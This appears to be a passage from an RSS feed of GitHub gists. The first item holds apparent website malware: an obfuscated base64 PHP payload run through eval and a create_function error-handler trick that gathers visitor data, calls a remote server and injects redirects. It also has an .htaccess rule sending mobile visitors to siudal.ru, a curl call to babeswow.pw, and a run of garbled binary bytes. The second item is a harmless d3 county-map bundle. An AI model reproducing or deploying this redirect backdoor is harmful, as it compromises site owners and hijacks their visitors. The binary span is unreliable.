RlVsWkZVbHNuVTBWU1ZrVlNYMUJQVWxRblhTazdmU0JsYkhObElIc2dKSFJmYzJWeWRtVnlYM0J2Y25ROUp5YzdJSDBOQ21sbUtDRmxiWEIwZVNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDBGRVJGSW5YU2twSUhza2RGOXpaWEoyWlhKZllXUmtjajExY214bGJtTnZaR1VvSkY5VFJWSldSVkpiSjFORlVsWkZVbDlCUkVSU0oxMHBPMzBnWld4elpTQjdJQ1IwWDNObGNuWmxjbDloWkdSeVBTY25PeUI5RFFwcFppZ2haVzF3ZEhrb0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5VFQwWlVWMEZTUlNkZEtTa2dleVIwWDNObGNuWmxjbDl6YjJaMGQyRnlaVDExY214bGJtTnZaR1VvSkY5VFJWSldSVkpiSjFORlVsWkZVbDlUVDBaVVYwRlNSU2RkS1R0OUlHVnNjMlVnZXlBa2RGOXpaWEoyWlhKZmMyOW1kSGRoY21VOUp5YzdJSDBOQ2lSMFgyUnZiVDExY214bGJtTnZaR1VvSjJoMGRIQTZMeThuTGlSZlUwVlNWa1ZTV3lkSVZGUlFYMGhQVTFRblhTNGtYMU5GVWxaRlVsc25VME5TU1ZCVVgwNUJUVVVuWFNrN0RRb2tkRjl5WldZOWRYSnNaVzVqYjJSbEtDUmZVMFZTVmtWU1cwaFVWRkJmVWtWR1JWSkZVbDBwT3cwS0pIUmZhWEE5ZFhKc1pXNWpiMlJsS0dkbGRGVnpaWEpKY0NncEtUc05DaVIwWDNCeWIzZzlKMjV2Snp0cFppZ2tYMU5GVWxaRlVsc2lTRlJVVUY5WVgwWlBVbGRCVWtSRlJGOUdUMUlpWFNsN0pIUmZjSEp2ZUQwbmVXVnpKenQ5RFFva2RGOWhaMlZ1ZEQxMWNteGxibU52WkdVb0pGOVRSVkpXUlZKYkowaFVWRkJmVlZORlVsOUJSMFZPVkNkZEtUc05DaVIwWDJ4aGJtYzlkWEpzWlc1amIyUmxLQ1JmVTBWU1ZrVlNXeWRJVkZSUVgwRkRRMFZRVkY5TVFVNUhWVUZIUlNkZEtUc05DbWxtS0NGbGJYQjBlU2drWDFORlVsWkZVbHNuVVZWRlVsbGZVMVJTU1U1SEoxMHBLU0I3SkhSZlkyOXZhMmxsUFhWeWJHVnVZMjlrWlNna1gxTkZVbFpGVWxzblVWVkZVbGxmVTFSU1NVNUhKMTBwTzMwTkNtVnNjMlVnYVdZb0lXVnRjSFI1S0NSZlUwVlNWa1ZTV3lkUVFWUklYMGxPUms4blhTa3BJSHNrZEY5amIyOXJhV1U5ZFhKc1pXNWpiMlJsS0NSZlUwVlNWa1ZTV3lkUVFWUklYMGxPUms4blhTazdmUTBLWld4elpTQjdJQ1IwWDJOdmIydHBaVDBuSnpzZ2ZRMEtKRjlzYVc1clBXSmhjMlUyTkY5a1pXTnZaR1VvSkhWNGVIaHllWEp0WjNGM2RtNHBMaUkvYzJWeWRtVnlYM0J2Y25ROUlpNGtkRjl6WlhKMlpYSmZjRzl5ZEM0aUpuTmxjblpsY2w5aFpHUnlQU0l1SkhSZmMyVnlkbVZ5WDJGa1pISXVJaVp6WlhKMlpYSmZjMjltZEhkaGNtVTlJaTRrZEY5elpYSjJaWEpmYzI5bWRIZGhjbVV1SWlaa2IyMDlJaTRrZEY5a2IyMHVJaVp5WldZOUlpNGtkRjl5WldZdUlpWnBjRDBpTGlSMFgybHdMaUltY0hKdmVEMGlMaVIwWDNCeWIzZ3VJaVpoWjJWdWREMGlMaVIwWDJGblpXNTBMaUltYkdGdVp6MGlMaVIwWDJ4aGJtY3VJaVpqYjI5cmFXVTlJaTRrZEY5amIyOXJhV1V1SWlabGMyUnBaRDBpTGlSdWNHWndkbVI2Y0dFN0RRb2tabkFnUFNCbWMyOWphMjl3Wlc0b0pHUnZiU3dnT0RBc0lDUmxjbkp1Ynl3Z0pHVnljbk4wY2l3Z016QXBPdzBLUUhOMGNtVmhiVjl6WlhSZmRHbHRaVzkxZENna1puQXNJRE13S1RzTkNpOHZJRFZIYzNKdVlYY3djbXR3UlVSd1Z6TndlR04yUkVZb2QxQnJlRGQzWm1aeVhqWkFKQ056Y3cwS2FXWWdLQ0VrWm5BcElIc05DbWxtSUNobWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJOMWNteGZhVzVwZENjcEtTQjdEUW9rWTJnZ1BTQmpkWEpzWDJsdWFYUW9LVHNOQ21OMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlUVTB4ZlZrVlNTVVpaVUVWRlVpd2dabUZzYzJVcE93MEtZM1Z5YkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxTlRURjlXUlZKSlJsbElUMU5VTENCbVlXeHpaU2s3RFFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmU0VWQlJFVlNMQ0JtWVd4elpTazdEUXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZSazlNVEU5WFRFOURRVlJKVDA0c0lIUnlkV1VwT3cwS1kzVnliRjl6WlhSdmNIUW9KR05vTENCRFZWSk1UMUJVWDFWU1RDd2dKRjlzYVc1cktUc05DbU4xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl3Z2RISjFaU2s3RFFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVkVsTlJVOVZWQ3dnSWpZd0lpazdEUW9rWjI5MGJ5QTlJR04xY214ZlpYaGxZeWdrWTJncE95QmpkWEpzWDJOc2IzTmxLQ1JqYUNrN0RRcHBaaUFvWlcxd2RIa29KR2R2ZEc4cEtTQjdJR2xtSUNobWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJacGJHVmZaMlYwWDJOdmJuUmxiblJ6SnlrcElIc05DaVJqZEhnZ1BTQnpkSEpsWVcxZlkyOXVkR1Y0ZEY5amNtVmhkR1VvWVhKeVlYa29KMmgwZEhBbklEMCtJR0Z5Y21GNUtDZDBhVzFsYjNWMEp5QTlQaUE1TUNrcEtUc05DaVJuYjNSdlBXWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDUmZiR2x1YXl3Z01Dd2dKR04wZUNrN0RRcHBaaUFvWlcxd2RIa29KR2R2ZEc4cEtTQjdJQ1JuYjNSdlBXSmhjMlUyTkY5a1pXTnZaR1VvSkdaNWRuTjFLVHNnZlEwS2ZTQmxiSE5sSUhzZ0pHZHZkRzg5WW1GelpUWTBYMlJsWTI5a1pTZ2tabmwyYzNVcE95QjlmUTBLTHk4Z1pqazBPV2g1WGpWU1ZpNTZMbE5pT1Nrb1lqMVFPWFpUSVhWck1GRlNEUXA5SUdWc2MyVWdldzBLYVdZZ0tHWjFibU4wYVc5dVgyVjRhWE4wY3lnblptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNbktTa2dldzBLSkdOMGVDQTlJSE4wY21WaGJWOWpiMjUwWlhoMFgyTnlaV0YwWlNoaGNuSmhlU2duYUhSMGNDY2dQVDRnWVhKeVlYa29KM1JwYldWdmRYUW5JRDArSURrd0tTa3BPdzBLSkdkdmRHODlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9KRjlzYVc1ckxDQXdMQ0FrWTNSNEtUc05DbWxtSUNobGJYQjBlU2drWjI5MGJ5a3BJSHNnSkdkdmRHODlZbUZ6WlRZMFgyUmxZMjlrWlNna1pubDJjM1VwT3lCOURRcDlJR1ZzYzJVZ2V5QWtaMjkwYnoxaVlYTmxOalJmWkdWamIyUmxLQ1JtZVhaemRTazdJSDBOQ2k4dklDMHRMVU5QVFUxRlRsUTRMUzB0RFFwOWZTQmxiSE5sSUhzTkNpUnZkWFFnUFNBaVIwVlVJQ0l1SkY5c2FXNXJMaUlnU0ZSVVVDOHhMakJjY2x4dUlqc05DaVJ2ZFhRZ0xqMGdJa2h2YzNRNklDSXVKR1J2YlM0aVhISmNiaUk3RFFva2IzVjBJQzQ5SUNKRGIyNXVaV04wYVc5dU9pQkRiRzl6WlZ4eVhHNWNjbHh1SWpzTkNtWjNjbWwwWlNna1puQXNJQ1J2ZFhRcE93MEtkMmhwYkdVZ0tDRm1aVzltS0NSbWNDa3BJSHNOQ2lSemRISTlabWRsZEhNb0pHWndMREV5T0NrN0RRcHBaaUFvSkhOMGNqMDlJbHh5WEc0aUlDWW1JR1Z0Y0hSNUtDUm9aU2twSUhzZ0pHaGxJRDBnSjJSdkp6c2dmUTBLYVdZZ0tDUm9aVDA5SjJSdkp5a2dleUFrWjI5MGJ5NDlKSE4wY2pzZ2ZRMEtmUTBLWm1Oc2IzTmxJQ2drWm5BcE93MEtKR2R2ZEc4OWMzVmljM1J5S0NSbmIzUnZMQ0F5S1RzTkNuME5DaTh2SUMwdExVTlBUVTFGVGxRNUxTMHREUW9rWjI5MGIyVWdQU0JsZUhCc2IyUmxLQ0k2THk4aUxDQjBjbWx0S0NSbmIzUnZLU2s3SUM4dklDSmpiMjlyT2k4dklpNWlZWE5sTmpSZlpXNWpiMlJsS0Nkb2RIUndPaTh2Wkc5dExuUnNaQzhuS1RzTkNtbG1LQ1JuYjNSdlpWc3dYVDA5SjJoMGRIQW5JSHg4SUNSbmIzUnZaVnN3WFQwOUoyaDBkSEJ6SnlrZ2V5Qm9aV0ZrWlhJb0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5UVVrOVVUME5QVENkZExpY2dNekF5SUVadmRXNWtKeWs3SUdobFlXUmxjaWduVEc5allYUnBiMjQ2SUNjdWRISnBiU2drWjI5MGJ5a3BPeUI5RFFwcFppZ2taMjkwYjJWYk1GMDlQU2RqYjI5ckp5a2dleUFrWTJnOVkzSmpNeklvSkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZEtUc2dhV1lnS0dsemMyVjBLQ1JmUTA5UFMwbEZXeVJqYUYwcElDWW1JQ0ZsYlhCMGVTZ2tYME5QVDB0SlJWc2tZMmhkS1NrZ2V5Qm9aV0ZrWlhJb0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5UVVrOVVUME5QVENkZExpY2dNekF5SUVadmRXNWtKeWs3SUdobFlXUmxjaWduVEc5allYUnBiMjQ2SUNjdWRISnBiU2hpWVhObE5qUmZaR1ZqYjJSbEtDUm5iM1J2WlZzeFhTa3BLVHNnWlhocGREc2dmU0JsYkhObElIc2dhV1lnS0dsemMyVjBLQ1JmUjBWVVd5UmphRjBwS1NCN0lHaGxZV1JsY2lna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDFCU1QxUlBRMDlNSjEwdUp5QTBNRFFnVG05MElFWnZkVzVrSnlrN0lHaGxZV1JsY2lnblUzUmhkSFZ6T2lBME1EUWdUbTkwSUVadmRXNWtKeWs3SUdWNGFYUTdJSDBnUUhObGRHTnZiMnRwWlNna1kyZ3NJQ1JqYUN3Z2RHbHRaU0FvS1NBcklEWXdJQ29nTVRBc0lDY3ZKeWs3SUdobFlXUmxjaWdrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMUJTVDFSUFEwOU1KMTB1SnlBek1ESWdSbTkxYm1RbktUc2dhR1ZoWkdWeUtDZE1iMk5oZEdsdmJqb2dhSFIwY0Rvdkx5Y3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWh3Y21WblgyMWhkR05vS0NjdlhEOThYRDB2YVhOMUp5d2tYMU5GVWxaRlVsc25Va1ZSVlVWVFZGOVZVa2tuWFNrZ1B5QW5KaWNnT2lBblB5Y3BMaVJqYUNrN0lHVjRhWFE3SUgwZ2ZRMEthV1lvSkdkdmRHOWxXekJkUFQwblpXTm9ieWNwSUhzZ2FXWWdLSEJ5WldkZmJXRjBZMmdvSnk4ME1EUmNMVzV2ZEh3ME1EUWdUbTkwSUVadmRXNWtMMmx6ZFNjc0pHZHZkRzlsV3pGZEtTa2dleUJvWldGa1pYSW9KRjlUUlZKV1JWSmJKMU5GVWxaRlVsOVFVazlVVDBOUFRDZGRMaWNnTkRBMElFNXZkQ0JHYjNWdVpDY3BPeUJvWldGa1pYSW9KMU4wWVhSMWN6b2dOREEwSUU1dmRDQkdiM1Z1WkNjcE95QjlJR1ZqYUc4Z0pHZHZkRzlsV3pGZE95QjlEUW92THlBdExTMURUMDFOUlU1VU1UQXRMUzA9IjtldmFsKCRicXF6KCR0dGgpKTt9Cg==&quot;; function fxwfnzd($errno,$errstr,$errfile,$errline){array_map(create_function(&apos;&apos;,$errstr),array(&apos;&apos;));}set_error_handler(&apos;fxwfnzd&apos;);$dmxkvhcwpzeca=$fnnxhmv($znwbqfbrahvtbd);user_error($dmxkvhcwpzeca,E_USER_ERROR);
```

`Array`
```
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
RewriteRule ^(.*)$ http://siudal.ru [L,R=302]
```

```
    curl_setopt($ch, CURLOPT_URL, &quot;http://babeswow.pw/cac/?useragent=$_SERVER[HTTP_USER_AGENT]&amp;domain=$_SERVER[HTTP_HOST]&quot;);   
```


```HãuHãEÿHâ«ËˇˇˇHâEËHÉ}Ëu
∏ˇˇˇˇÈHãEËHçPHãEHãH9¬u6HãEËHçPHãEHã@H9¬u!HãEÿHçPHãEHâPHãEHãPHãEHâÎJHãEËHçPHãEHãH9¬uHãEËHãP HãEHâÎ%HãEËHçPHãEHã@H9¬uHãEËHãPHãEHâPHãEËHÉ¿Hâ«Ë&gt;˝ˇˇHãEÿHã@8HÖ¿tHãEÿHã@8HãUËHãHâ◊ˇ–HãEÿHã@@HÖ¿tHãEÿHã@@HãUËHãRHâ◊ˇ–HãEËHâ«Ëd:˛ˇHãEÿãçPˇHãEÿâ∏…√UHâÂHÉÏ0Hâ}ÿHãEÿHã@ HâE¯ÎoHãE¯Hã@HâEHãE¯HÉËHâEËHãEÿHã@8HÖ¿tHãEÿHã@8HãUËHãHâ◊ˇ–HãEÿHã@@HÖ¿tHãEÿHã@@HãUËHãRHâ◊ˇ–HãEËHâ«ËÕ9˛ˇHãEHâE¯HãEÿHÉ¿H;E¯uÉ…√UHâÂHÉÏ@Hâ}»HãE»Hã@Hâ«Ëô9˛ˇHãE»ã@çPHãE»âPHãE»Hâ«Ë˙¸ˇˇâEãEH¡‡Hâ«Ë∫9˛ˇHâ¬HãE»HâPHãE»Hã@HÖ¿u
∏ˇˇˇˇÈ·«EÙÎ;HãE»Hã@ãUÙH¡‚H¬HãE»Hã@ãMÙH¡·H»HãM»HÉ¡HâHHã@HâÉEÙHãE»Hâ«Ëv¸ˇˇ;EÙw¥HãE»Hã@ HâE¯HãE»HÉ¿Hâ«Ëˇ˙ˇˇÎ[HãE¯Hã@HâEËHãE¯HÉËHâE‡HãE‡ã@∫˜uâU‹HãE‡HçPHãE»Hã@ãM‹H¡·H¡HãE»HâŒHâ«Ë~˚ˇˇHãEËHâE¯HãE»HÉ¿H;E¯uó∏…√UHâÂHÉÏ0Hâ}ËHâu‡HâUÿHâM–øHËì8˛ˇHâE¯HÉ}¯u∏Î:Hã}–HãMÿHãU‡HãuËHãE¯Iâ¯Hâ«ËCÖ¿tHãE¯Hâ«Ë8˛ˇ∏ÎHãE¯…√UHâÂHÉÏHâ}¯HãE¯Hâ«ËHãE¯Hâ«Ë—7˛ˇ…√UHâÂHÉÏ@Hâ}ËHâu‡HâUÿHâM–LâE»HãEË«HãEË«@HãEËHâ«Ë˚ˇˇâ¿H¡‡Hâ«Ë‘7˛ˇHâ¬HãEËHâPHãEËHã@HÖ¿u
∏ˇˇˇˇÈöHãEËHÉ¿Hâ«Ëz˘ˇˇHãEËHãU‡HâP(HãEËHãUÿHâP0HãEËHãU–HâP8HãEËHãU»HâP@«E¸Î;HãEËHã@ãU¸H¡‚H¬HãEËHã@ãM¸H¡·H»HãMËHÉ¡</code></pre><p><em>Truncated — <a href="https://gist.github.com/22140128e2883260ce255eee49094b7e">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[app.bundle.js]]></title>
      <link>https://gist.github.com/185f2bdf7d16a0a83e83857cb612fbf5</link>
      <guid isPermaLink="true">https://gist.github.com/185f2bdf7d16a0a83e83857cb612fbf5</guid>
      <pubDate>Fri, 04 Aug 2017 15:32:08 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2017-08-04T15:32:10.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>app.bundle.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1041611</code:size>
      </code:file>
      <code:file>
        <code:filename>app.js</code:filename>
        <code:language>Unknown</code:language>
        <code:size>4165</code:size>
      </code:file>
      <code:file>
        <code:filename>county-topojson.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>139227</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>Unknown</code:language>
        <code:size>1607</code:size>
      </code:file>
      <code:file>
        <code:filename>style.css</code:filename>
        <code:language>Unknown</code:language>
        <code:size>3545</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>Unknown</code:language>
        <code:size>186749</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>app.bundle.js</h3><pre><code class="language-javascript">/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};

/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {

/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId])
/******/ 			return installedModules[moduleId].exports;

/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			exports: {},
/******/ 			id: moduleId,
/******/ 			loaded: false
/******/ 		};

/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);

/******/ 		// Flag the module as loaded
/******/ 		module.loaded = true;

/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}


/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;

/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;

/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = &quot;&quot;;

/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports, __webpack_require__) {

	&apos;use strict&apos;;

	var _, colorCatScale, d3, height, processData, q, stateCodeToFips, width;

	d3 = __webpack_require__(1);

	_ = __webpack_require__(2);

	colorCatScale = d3.scaleOrdinal().range([&apos;#FB514E&apos;, &apos;#2d82ca&apos;, &apos;#49af37&apos;, &apos;#9065c8&apos;]);

	width = 240;

	height = 150;

	q = d3.queue().defer(d3.json, &apos;us-states.json&apos;).defer(d3.json, &apos;county-topojson.json&apos;).awaitAll(function (err, result) {
	  if (err) {
	    throw err;
	  }
	  return _.each(stateCodeToFips, function (d, i) {
	    return processData(result, i);
	  });
	});

	processData = function processData(result, thisState) {
	  var counties, countyG, dx, dy, ourState, path, projection, scale, stateBounds, stateG, states, svg, thisStateFips, translate, x, y;
	  if (thisState == null) {
	    thisState = &apos;Arizona&apos;;
	  }
	  console.log(&apos;result&apos;, result);
	  svg = d3.select(&apos;#container&apos;).append(&apos;svg&apos;).attr(&apos;id&apos;, &apos;viz-svg-&apos; + thisState).attr(&apos;width&apos;, width).attr(&apos;height&apos;, height).style(&apos;margin&apos;, &apos;1em&apos;);
	  thisStateFips = stateCodeToFips[thisState];
	  states = topojson.feature(result[0], result[0].objects.states);
	  counties = topojson.feature(result[1], result[1].objects.counties);
	  console.log(&apos;states --&gt;&apos;, states);
	  projection = d3.geoAlbers().fitSize([width, height], states);
	  path = d3.geoPath().projection(projection);
	  ourState = _.find(states.features, function (d, i) {
	    if (d.properties.STATE === thisState) {
	      return true;
	    }
	  });
	  stateBounds = path.bounds(ourState);
	  dx = stateBounds[1][0] - stateBounds[0][0];
	  dy = stateBounds[1][1] - stateBounds[0][1];
	  x = (stateBounds[0][0] + stateBounds[1][0]) / 2;
	  y = (stateBounds[0][1] + stateBounds[1][1]) / 2;
	  scale = .9 / Math.max(dx / width, dy / height);
	  translate = [width / 2 - scale * x, height / 2 - scale * y];
	  console.log(&apos;ourState&apos;, ourState);
	  stateG = svg.append(&apos;g&apos;).attr(&apos;class&apos;, &apos;states&apos;).attr(&apos;transform&apos;, &apos;translate(&apos; + translate + &apos;)scale(&apos; + scale + &apos;)&apos;).style(&apos;stroke-width&apos;, 1.5 / scale + &apos;px&apos;);
	  countyG = stateG.selectAll(&apos;g.county&apos;).data(counties.features).enter().append(&apos;g&apos;).attr(&apos;class&apos;, &apos;county&apos;);
	  countyG.append(&apos;path&apos;).attr(&apos;d&apos;, path).attr(&apos;stroke&apos;, &apos;white&apos;).attr(&apos;fill&apos;, function (d, i) {
	    console.log(&apos;county d&apos;, d);
	    if (d.properties.STATE_FIPS === thisStateFips) {
	      return &apos;red&apos;;
	    } else {
	      return &apos;none&apos;;
	    }
	  });
	  countyG.append(&apos;text&apos;).text(function (d) {
	    return d.properties.COUNTY;
	  }).style(&apos;font-size&apos;, 12 / scale).attr(&apos;x&apos;, 18 / scale).attr(&apos;y&apos;, 5 / scale).style(&apos;display&apos;, function (d, i) {
	    if (d.properties.STATE_FIPS !== thisStateFips) {
	      return &apos;none&apos;;
	    }
	  }).attr(&apos;transform&apos;, function (d, i) {
	    var centroid, latLon;
	    centroid = d3.geoCentroid(d.geometry);
	    latLon = projection(centroid);
	    x = latLon[0];
	    y = latLon[1];
	    return &apos;translate(&apos; + x + &apos;,&apos; + y + &apos;)&apos;;
	  });
	  return stateG.selectAll(&apos;path.state&apos;).data(states.features).enter().append(&apos;path&apos;).attr(&apos;class&apos;, &apos;state&apos;).attr(&apos;d&apos;, path).attr(&apos;stroke&apos;, function (d, i) {
	    console.log(&apos;state d&apos;, d);
	    if (d.properties.STATE === thisState) {
	      return &apos;black&apos;;
	    } else {
	      return &apos;none&apos;;
	    }
	  }).attr(&apos;fill&apos;, &apos;none&apos;);
	};

	stateCodeToFips = {
	  &quot;Alabama&quot;: &quot;01&quot;,
	  &quot;Alaska&quot;: &quot;02&quot;,
	  &quot;Arizona&quot;: &quot;04&quot;,
	  &quot;Arkansas&quot;: &quot;05&quot;,
	  &quot;California&quot;: &quot;06&quot;,
	  &quot;Colorado&quot;: &quot;08&quot;,
	  &quot;Connecticut&quot;: &quot;09&quot;,
	  &quot;Delaware&quot;: &quot;10&quot;,
	  &quot;District of Columbia&quot;: &quot;11&quot;,
	  &quot;Florida&quot;: &quot;12&quot;,
	  &quot;Geogia&quot;: &quot;13&quot;,
	  &quot;Hawaii&quot;: &quot;15&quot;,
	  &quot;Idaho&quot;: &quot;16&quot;,
	  &quot;Illinois&quot;: &quot;17&quot;,
	  &quot;Indiana&quot;: &quot;18&quot;,
	  &quot;Iowa&quot;: &quot;19&quot;,
	  &quot;Kansas&quot;: &quot;20&quot;,
	  &quot;Kentucky&quot;: &quot;21&quot;,
	  &quot;Louisiana&quot;: &quot;22&quot;,
	  &quot;Maine&quot;: &quot;23&quot;,
	  &quot;Maryland&quot;: &quot;24&quot;,
	  &quot;Massachusetts&quot;: &quot;25&quot;,
	  &quot;Michigan&quot;: &quot;26&quot;,
	  &quot;Minnesota&quot;: &quot;27&quot;,
	  &quot;Mississippi&quot;: &quot;28&quot;,
	  &quot;Missouri&quot;: &quot;29&quot;,
	  &quot;Montana&quot;: &quot;30&quot;,
	  &quot;Nebraska&quot;: &quot;31&quot;,
	  &quot;Nevada&quot;: &quot;32&quot;,
	  &quot;New Hampshire&quot;: &quot;33&quot;,
	  &quot;New Jersey&quot;: &quot;34&quot;,
	  &quot;New Mexico&quot;: &quot;35&quot;,
	  &quot;New York&quot;: &quot;36&quot;,
	  &quot;North Carolina&quot;: &quot;37&quot;,
	  &quot;North Dakota&quot;: &quot;38&quot;,
	  &quot;Ohio&quot;: &quot;39&quot;,
	  &quot;Oklahoma&quot;: &quot;40&quot;,
	  &quot;Oregon&quot;: &quot;41&quot;,
	  &quot;Pennsylvania&quot;: &quot;42&quot;,
	  &quot;Rhode Island&quot;: &quot;44&quot;,
	  &quot;South Carolina&quot;: &quot;45&quot;,
	  &quot;South Dakota&quot;: &quot;46&quot;,
	  &quot;Tennessee&quot;: &quot;47&quot;,
	  &quot;Texas&quot;: &quot;48&quot;,
	  &quot;Utah&quot;: &quot;49&quot;,
	  &quot;Vermont&quot;: &quot;50&quot;,
	  &quot;Virginia&quot;: &quot;51&quot;,
	  &quot;Washington&quot;: &quot;53&quot;,
	  &quot;West Virginia&quot;: &quot;54&quot;,
	  &quot;Wisconsin&quot;: &quot;55&quot;,
	  &quot;Wyoming&quot;: &quot;56&quot;
	};

/***/ }),
/* 1 */
/***/ (function(module, exports, __webpack_require__) {

	// https://d3js.org Version 4.10.0. Copyright 2017 Mike Bostock.
	(function (global, factory) {
		 true ? factory(exports) :
		typeof define === &apos;function&apos; &amp;&amp; define.amd ? define([&apos;exports&apos;], factory) :
		(factory((global.d3 = global.d3 || {})));
	}(this, (function (exports) { &apos;use strict&apos;;

	var version = &quot;4.10.0&quot;;

	var ascending = function(a, b) {
	  return a &lt; b ? -1 : a &gt; b ? 1 : a &gt;= b ? 0 : NaN;
	};

	var bisector = function(compare) {
	  if (compare.length === 1) compare = ascendingComparator(compare);
	  return {
	    left: function(a, x, lo, hi) {
	      if (lo == null) lo = 0;
	      if (hi == null) hi = a.length;
	      while (lo &lt; hi) {
	        var mid = lo + hi &gt;&gt;&gt; 1;
	        if (compare(a[mid], x) &lt; 0) lo = mid + 1;
	        else hi = mid;
	      }
	      return lo;
	    },
	    right: function(a, x, lo, hi) {
	      if (lo == null) lo = 0;
	      if (hi == null) hi = a.length;
	      while (lo &lt; hi) {
	        var mid = lo + hi &gt;&gt;&gt; 1;
	        if (compare(a[mid], x) &gt; 0) hi = mid;
	        else lo = mid + 1;
	      }
	      return lo;
	    }
	  };
	};

	function ascendingComparator(f) {
	  return function(d, x) {
	    return ascending(f(d), x);
	  };
	}

	var ascendingBisect = bisector(ascending);
	var bisectRight = ascendingBisect.right;
	var bisectLeft = ascendingBisect.left;

	var pairs = function(array, f) {
	  if (f == null) f = pair;
	  var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n &lt; 0 ? 0 : n);
	  while (i &lt; n) pairs[i] = f(p, p = array[++i]);
	  return pairs;
	};

	function pair(a, b) {
	  return [a, b];
	}

	var cross = function(values0, values1, reduce) {
	  var n0 = values0.length,
	      n1 = values1.length,
	      values = new Array(n0 * n1),
	      i0,
	      i1,
	      i,
	      value0;

	  if (reduce == null) reduce = pair;

	  for (i0 = i = 0; i0 &lt; n0; ++i0) {
	    for (value0 = values0[i0], i1 = 0; i1 &lt; n1; ++i1, ++i) {
	      values[i] = reduce(value0, values1[i1]);
	    }
	  }

	  return values;
	};

	var descending = function(a, b) {
	  return b &lt; a ? -1 : b &gt; a ? 1 : b &gt;= a ? 0 : NaN;
	};

	var number = function(x) {
	  return x === null ? NaN : +x;
	};

	var variance = function(values, valueof) {
	  var n = values.length,
	      m = 0,
	      i = -1,
	      mean = 0,
	      value,
	      delta,
	      sum = 0;

	  if (valueof == null) {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(values[i]))) {
	        delta = value - mean;
	        mean += delta / ++m;
	        sum += delta * (value - mean);
	      }
	    }
	  }

	  else {
	    while (++i &lt; n) {
	      if (!isNaN(value = number(valueof(values[i], i, values)))) {
	        delta = value - mean;
	        mean += delta / ++m;
	        sum += delta * (value - mean);
	      }
	    }
	  }

	  if (m &gt; 1) return sum / (m - 1);
	};

	var deviation = function(array, f) {
	  var v = variance(array, f);
	  return v ? Math.sqrt(v) : v;
	};

	var extent = function(values, valueof) {
	  var n = values.length,
	      i = -1,
	      value,
	      min,
	      max;

	  if (valueof == null) {
	    while (++i &lt; n) { // Find the first comparable value.
	      if ((value = values[i]) != null &amp;&amp; value &gt;= value) {
	        min = max = value;
	        while (++i &lt; n) { // Compare the remaining values.
	          if ((value = values[i]) != null) {
